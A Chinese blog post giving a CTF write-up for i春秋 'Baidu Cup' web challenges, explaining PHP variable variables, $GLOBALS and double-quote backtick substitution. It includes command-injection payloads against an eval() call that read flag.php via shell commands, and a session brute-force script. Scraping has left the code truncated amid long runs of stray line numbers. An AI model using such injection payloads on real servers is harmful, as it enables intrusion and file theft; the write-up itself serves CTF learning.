




i春秋 百度杯 CTF比赛（二月场） Misc web题解 By Assassin

原创

水杯中的秋天  于 2018-11-13 18:12:35 发布  1574  收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43679818/article/details/84033374

版权

分享一下我老师大神的人工智能教程！零基础，通俗易懂！<http://blog.csdn.net/jiangjunshow>

也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！

学习web，搞起来！

[百度杯"CTF比赛（二月场）训练赛传送门](#)

爆破-1

打开题目我们直接就看到源码，加上注释如下

```
<?phpinclude "flag.php"; //包含flag.php这个文件$a = @$_REQUEST['hello']; // $a这个变量i
```

1
2
3
4
5
6
7
8
9

而且通过题目链接可以知道hello变量一定是6位的，一开始真以为是爆破了，但是一想肯定很大，不可能。而且我们发现 \$\$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名。例如

```
<?php$a='b';$b="hello world!";eval("var_dump($$a);");?>
```

1
2
3
4
5

上面代码会输出hello world!

PHP一个比较有意思的变量!\$GLOBALS: 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

于是我们在url上构造/?hello=GLOBALS, 结果就直接出来了! 根本不是爆破好吧!

爆破-2

这时候代码为

```
<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
```

```
1
2
3
4
5
```

我们可以看到第一种方法不好用了, 所以另辟他径! 我们注意到flag.php, 会不会答案就在这个里面呢? 而且"var_dump(\$a);"这个字符串是不是可以注入呢? 明显是可以的!

构造payload如下

```
?hello=);echo%20`cat%20./flag.php`;//
```

```
1
```

然后这里面就必须讲一下一些小技巧! 第一单引号, 双引号, 反引号在bash中的作用!

(PS: 反引号位(`)位于键盘的Tab键的上方、1键的左方。注意与单引号(')位于Enter键的左方的区别。)

反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下:

```
[root@localhost sh]# echo The date is `date`
The date is 2011年 03月 14日 星期一 21:15:43 CST
```

单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号, shell会把空格后的字符串解释为命令。

单引号和双引号的区别。单引号告诉shell忽略所有特殊字符, 而双引号忽略大多数, 但不包括\$、\、`。

栗子:

```
[root@localhost tmp]# echo `the date is `date``
the date is `date`
[root@localhost tmp]# echo "the date is `date`"
the date is Fri Oct 9 00:11:56 CST 2015
```

是不是发现了什么! eval("var_dump(\$a);");正式双引号!!! 我们就可以用`了!

然后用cat读取输出即可!

这里还收集了其他的姿势! payload如下:

```
?hello=$a);print_r(file("./flag.php")); //
```

1

```
hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); // 这里发现 i春秋 在http请求中拦截了
```

1

2

3

4

爆破-3

首先我们看到题目的脚本

```
<?php error_reporting(0);session_start();require('./flag.php');if(!isset($_SESSION['nums'])){ $_SESSIO
```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

简易的分析可以知道生成几个SESSION变量，其中time是计时的，nums是计数的。当nums没有设置的时候会给一个初始化变量。需要在120s内完成遮掩一件事。脚本用随机数跑出两位的字符串，你需要输入一个串前两位和随机生成的串相等，而且输入串的MD5值的第5-9为必须为“0000”。这个时候全部匹配的话nums++。在匹配后whoami被更新，但是它在页面中输出了，我们可以知道！当nums在120s内完成10次以上就可以得到flag。

那么问题来了，真的是爆破的话我们需要跑出一个字典，分别记录26*26种开头对应满足条件的串。

爆破脚本

```
# -*- coding:utf-8 -*- #这个脚本用random跑的随机串，生成的速度慢一些import randomimport hashlibstr1=["a", "
```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

然后我们就要用脚本链接目标网站了，但是有一个问题，用python实现的时候要用requests中的requests.Session()，而不可以直接urlopen，因为每一次这样打开相当于新的链接进入，session是不会保存的！注意！

下面是实验成功代码（注意我这么写主要根据的字典的格式）

```
import requestsfile = 'C:\\xxx\\mima.txt'mima= open(file,'r+')content=mima.readlines()session = reques
```

- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17

顺手分享一下现成的字典

aa aawkntaxab abbjfeskc acfwxqvad adjsvcmdae aegrykslaf afbqavhoag agmesuotah ahzfkqkba aivobshxaj a

- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27

28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127

128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

170
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228

229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278

279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329

329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379

380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429

430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480

480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530

531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580

581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
...

631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676

小编那么拼



赞一个再撤!

<http://blog.csdn.net/sunhuang1>